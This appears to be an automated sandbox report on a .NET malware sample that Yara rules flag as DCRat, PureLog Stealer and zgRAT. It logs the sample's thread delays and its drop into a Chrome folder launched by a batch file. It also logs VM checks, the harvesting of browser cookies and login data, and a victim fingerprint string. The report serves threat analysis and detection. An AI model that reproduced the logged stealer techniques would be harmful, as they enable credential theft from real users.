Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599640	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599310	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599187	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598859	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598750	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598640	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598141	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 598006	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 594000	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 593778	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 593500	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 592859	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 592516	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 592234	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 591828	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 591681	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 591453	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 591141	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 590609	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 589672	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 589109	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 588672	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 588187	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 587922	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 587531	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 587234	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 586344	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 585750	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 585508	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 585149	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 584766	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 584391	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 584109	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 583919	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 583669	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 583556	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 583451	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 583340	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 583234	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 583115	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 582937	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 582827	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 582682	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 582578	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 582468	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Thread delayed: delay time: 582343	Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior

Source: DWTukBG9R7.exe, 00000000.00000002.2159354991.000000001BB82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\
Source: 6vn5d93AbR.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 6vn5d93AbR.6.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: 6vn5d93AbR.6.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 6vn5d93AbR.6.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 6vn5d93AbR.6.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: 6vn5d93AbR.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 6vn5d93AbR.6.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 6vn5d93AbR.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 6vn5d93AbR.6.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 6vn5d93AbR.6.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 6vn5d93AbR.6.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 6vn5d93AbR.6.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 6vn5d93AbR.6.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 6vn5d93AbR.6.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 6vn5d93AbR.6.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3409628661.000000001B905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 6vn5d93AbR.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 6vn5d93AbR.6.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 6vn5d93AbR.6.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 6vn5d93AbR.6.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 6vn5d93AbR.6.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 6vn5d93AbR.6.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 6vn5d93AbR.6.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 6vn5d93AbR.6.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 6vn5d93AbR.6.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 6vn5d93AbR.6.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 6vn5d93AbR.6.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 6vn5d93AbR.6.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: DWTukBG9R7.exe, 00000000.00000002.2160614517.000000001C2B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}P'^/
Source: 6vn5d93AbR.6.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 6vn5d93AbR.6.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 6vn5d93AbR.6.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 6vn5d93AbR.6.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\DWTukBG9R7.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\NRc8fv8OU7.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe "C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe"	Jump to behavior

Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003332000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3411772726.000000001BEB9000.00000004.00000020.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003673000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003673000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"44","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"?"},"5.0.4",5,1,"","user","971342","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Program Files\\Google\\Chrome\\Application\\SetupMetrics","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.189","US / United States","New York / New Yor(
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003673000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: .4",5,1,"","user","971342","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Program Files\\Google\\Chrome\\Application\\SetupMetrics","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.189","US / United States","New York / New York","40.7
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003673000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`
Source: jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003332000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003673000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"44","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"?"},"5.0.4",5,1,"","user","971342","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Program Files\\Google\\Chrome\\Application\\SetupMetrics","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.189","US / United States","New York / New York","40.7503 / -74.0014"]

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Queries volume information: C:\Users\user\Desktop\DWTukBG9R7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Queries volume information: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe VolumeInformation	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000006.00000002.3368236613.00000000034CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3368236613.0000000003673000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3368236613.00000000031C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2152680576.00000000133FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DWTukBG9R7.exe PID: 3396, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jXzXDduVeIqOfFYGnN.exe PID: 1600, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: DWTukBG9R7.exe, type: SAMPLE
Source: Yara match	File source: 0.0.DWTukBG9R7.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2102608195.0000000000BC2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\wininit.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: DWTukBG9R7.exe, type: SAMPLE
Source: Yara match	File source: 0.0.DWTukBG9R7.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\wininit.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Web Data-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
